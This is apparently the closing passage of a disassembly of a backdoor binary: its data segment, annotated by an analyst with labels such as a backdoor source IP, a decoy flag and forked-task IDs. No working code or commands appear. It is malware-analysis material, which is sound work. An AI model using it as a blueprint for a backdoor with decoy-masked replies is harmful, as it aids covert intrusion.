					; __gethtbyname+2D3o
dword_8079CDC dd ?			; DATA XREF: __gethtbyname+200w
dword_8079CE0 dd ?			; DATA XREF: __gethtbyname+149w
; size_t dword_8079CE4
dword_8079CE4 dd ?			; DATA XREF: __gethtbyname+151w
					; __gethtbyname+244r ...
dword_8079CE8 dd ?			; DATA XREF: __gethtbyname+2C9w
dword_8079CEC dd ?			; DATA XREF: __gethtbyname+50w
					; __gethtbyname+D3w ...
dword_8079CF0 dd ?			; DATA XREF: __gethtbyname+5Aw
	  db 84h dup(?)
; char byte_8079D78
byte_8079D78 db	?			; DATA XREF: __gethtbyname+68o
					; __gethtbyname+DCo ...
	  db 3Fh dup(?)
dword_8079DB8 dd ?			; DATA XREF: sub_804C9E4+14Bw
					; sub_804C9E4+1A0o
dword_8079DBC dd ?			; DATA XREF: sub_804C9E4+151w
dword_8079DC0 dd ?			; DATA XREF: sub_804C9E4+131w
dword_8079DC4 dd ?			; DATA XREF: sub_804C9E4+127w
dword_8079DC8 dd ?			; DATA XREF: sub_804C9E4+FFw
					; sub_804C9E4+11Er
dword_8079DCC dd ?			; DATA XREF: sub_804C9E4+76o
					; sub_804C9E4+A9o ...
dword_8079DD0 dd ?			; DATA XREF: sub_804C9E4+71o
					; sub_804C9E4+A4o ...
dword_8079DD4 dd ?			; DATA XREF: sub_804A9D8+5Cw
					; sub_804A9D8+1F0w ...
dword_8079DD8 dd ?			; DATA XREF: sub_804A9D8+66w
	  db 8 dup(?)
dword_8079DE4 dd ?			; DATA XREF: sub_804B800+11Do
					; sub_804B800+127w ...
dword_8079DE8 dd ?			; DATA XREF: _gethostent+4Br
					; _gethostent+7Dr ...
	  db 80h dup(?)
unk_8079E6C db	  ? ;			; DATA XREF: sub_804B800+574o
	  db 7 dup(?)
; char *dword_8079E74
dword_8079E74 dd ?			; DATA XREF: sub_804B800+1Fw
					; sub_804B800+E3w ...
dword_8079E78 dd ?			; DATA XREF: sub_804B800+113w
					; _gethostbyname+59w ...
dword_8079E7C dd ?			; DATA XREF: sub_804B800+4DAo
					; sub_804B800+4E8w ...
dword_8079E80 dd ?			; DATA XREF: sub_804B800+4C5r
					; sub_804B800+4D4w ...
dword_8079E84 dd ?			; DATA XREF: sub_804B800+131w
					; _gethostbyname+95w ...
dword_8079E88 dd ?			; DATA XREF: sub_804B800+FFo
					; sub_804B800+109w ...
	  db 84h dup(?)
unk_8079F10 db	  ? ;			; DATA XREF: sub_804B800+1F6o
					; __gethtent+113o ...
	  db 3 dup(?)
unk_8079F14 db	  ? ;			; DATA XREF: sub_804B800+50o
					; __gethtent+47o
	  db 400h dup(?)
unk_807A315 db	  ? ;			; DATA XREF: sub_804B800+54Eo
	  db	? ;
	  db	? ;
dword_807A318 dd ?			; DATA XREF: _gethostbyname+35w
					; _gethostbyname+81o ...
unk_807A31C db	  ? ;			; DATA XREF: __gethtent+AAo
					; sub_804C9E4+109o
	  db 23h dup(?)
dword_807A340 dd ?			; DATA XREF: __gethtent+A0o
					; __gethtent+AAw ...
	  db	? ;
	  db	? ;
	  db	? ;
	  db	? ;
dword_807A348 dd ?			; DATA XREF: sub_804A4F4+14r
					; sub_804A9D8+985w ...
	  db 0Ch dup(?)
unk_807A358 db	  ? ;			; DATA XREF: sub_804A9D8+Eo
					; sub_804A9D8+D98o
	  db 3FFh dup(?)
; char byte_807A758
byte_807A758 db	?			; DATA XREF: ___hostalias+178o
					; ___hostalias+188o
	  db 0FEh dup(?)
byte_807A857 db	?			; DATA XREF: ___hostalias+16Bw
dword_807A858 dd ?			; DATA XREF: _register_printf_function+13o
					; _register_printf_function+24w
	  db 3FCh dup(?)
dword_807AC58 dd ?			; DATA XREF: sub_8054E54+1Cw
					; _vsyslog+44r	...
; struct sockaddr addr
addr	  dw ?				; DATA XREF: _openlog+36w _openlog+9Bo
; char byte_807AC5E
byte_807AC5E db	?			; DATA XREF: _openlog+46o _openlog+88o
	  db 0Dh dup(?)
unk_807AC6C db	  ? ;			; DATA XREF: _strerror+6o
	  db 3FFh dup(?)
unk_807B06C db	  ? ;			; DATA XREF: _localtime+6o
					; _localtime+13o
	  db 2Bh dup(?)
unk_807B098 db	  ? ;			; DATA XREF: _gmtime+6o _gmtime+13o
	  db 2Bh dup(?)
; char byte_807B0C4
byte_807B0C4 db	?			; DATA XREF: _asctime+6o
	  db 1Bh dup(?)
dword_807B0E0 dd ?			; DATA XREF: sub_805A11C+BFo
					; _tzset+33w ...
dword_807B0E4 dd ?			; DATA XREF: sub_805A11C+B7r
					; sub_805A11C+123r ...
dword_807B0E8 dd ?			; DATA XREF: sub_805A11C+3Ar
					; sub_805A11C+A0r
	  db 4 dup(?)
dword_807B0F0 dd ?			; DATA XREF: sub_805B048+33r
	  db 738h dup(?)
dword_807B82C dd ?			; DATA XREF: sub_805A11C+42o
					; sub_805A11C+D5r ...
unk_807B830 db	  ? ;			; DATA XREF: sub_805A11C+47o
	  db	? ;
	  db	? ;
	  db	? ;
dword_807B834 dd ?			; DATA XREF: sub_805A11C+52r
					; _tzset+51w
	  db 0FF4h dup(?)
; char byte_807C82C
byte_807C82C db	?			; DATA XREF: sub_805A11C+58o
					; sub_805A11C+E1o ...
	  db 1C3h dup(?)
unk_807C9F0 db	  ? ;			; DATA XREF: sub_805B144+22o
					; sub_805B144+30o ...
	  db 190Fh dup(?)
dword_807E300 dd ?			; DATA XREF: _tzset+24w _tzsetwall+3w	...
dword_807E304 dd ?			; DATA XREF: sub_805B144+Fr
					; sub_805B144+18w
; char str
str	  db ?				; DATA XREF: _yperr_string+12Eo
					; _yperr_string+138o
	  db 4Fh dup(?)
; char byte_807E358
byte_807E358 db	?			; DATA XREF: _yp_match+7Co
					; _yp_match+1FCo ...
	  db 3Fh dup(?)
dword_807E398 dd ?			; DATA XREF: sub_805CCB0+18r
					; sub_805CCB0+4Er ...
; char byte_807E39C
byte_807E39C db	?			; DATA XREF: _inet_ntoa+1Eo
					; _inet_ntoa+28o
	  db 13h dup(?)
unk_807E3B0 db	  ? ;			; DATA XREF: sub_805E9B8+4D6o
					; sub_805E9B8+4E0o
	  db 13h dup(?)
unk_807E3C4 db	  ? ;			; DATA XREF: sub_805EEA4+F6o
					; sub_805EEA4+100o
	  db 13h dup(?)
unk_807E3D8 db	  ? ;			; DATA XREF: ___p_type+5B6o
					; ___p_type+5C0o
	  db 13h dup(?)
unk_807E3EC db	  ? ;			; DATA XREF: ___p_class+4Ao
					; ___p_class+54o
	  db 13h dup(?)
unk_807E400 db	  ? ;			; DATA XREF: ___p_option+136o
					; ___p_option+140o
	  db 27h dup(?)
dword_807E428 dd ?			; DATA XREF: ___p_time+15w
					; ___p_time+58o ...
word_807E42C dw	?			; DATA XREF: ___p_time+20w
byte_807E42E db	?			; DATA XREF: ___p_time+2Cw
	  db 21h dup(?)
unk_807E450 db	  ? ;			; DATA XREF: _inet_nsap_ntoa+18o
					; _inet_nsap_ntoa+1Do
	  db 2FFh dup(?)
dword_807E750 dd ?			; DATA XREF: sub_8063664+3r
					; sub_8063664+16w ...
dword_807E754 dd ?			; DATA XREF: __rpc_dtablesize+3r
					; __rpc_dtablesize+11w	...
unk_807E758 db	  ? ;			; DATA XREF: _xdr_opaque+42o
	  db 0Fh dup(?)
word_807E768 dw	?			; DATA XREF: _bindresvport+44r
					; _bindresvport+60w ...
	  align	4
dword_807E76C dd ?			; DATA XREF: _authnone_create+8r
					; _authnone_create+2Cw	...
; int pid
pid	  dd ?				; DATA XREF: f_main+101w f_main+461w ...
pid_current_task dd ?			; DATA XREF: f_main+F7w f_main+24Dr ...
					; PID of a forked task
current_task_plus_1 dd ?		; DATA XREF: f_main+10Bw f_main+25Dr ...
					; contain the current task number (+1)
dword_807E77C dd ?			; DATA XREF: f_main+234r
					; //? used to fill a outgoing packet
; char p_backdoor_source_ip
p_backdoor_source_ip db	4 dup(?)	; DATA XREF: f_main+2CFw
					; f_send_backdoor_reply_with_decoys+2Co ...
b_use_decoys dd	?			; DATA XREF: f_main+2C3w f_main+328r ...
dword_807E788 dd ?			; DATA XREF: sub_804B800+70w
					; sub_804B800+A8w ...
dword_807E78C dd ?			; DATA XREF: __IO_vfprintf+1E13r
					; __IO_vfprintf+1E24r ...
	  db 3FCh dup(?)
dword_807EB8C dd ?			; DATA XREF: _yp_all+DBw
					; _xdr_ypresp_all_seq+DBr
dword_807EB90 dd ?			; DATA XREF: _yp_all+D2w
					; _xdr_ypresp_all_seq+EFr
dword_807EB94 dd ?			; DATA XREF: ___yp_dobind+32r
					; ___yp_dobind+68w ...
_bss	  ends


	  end start
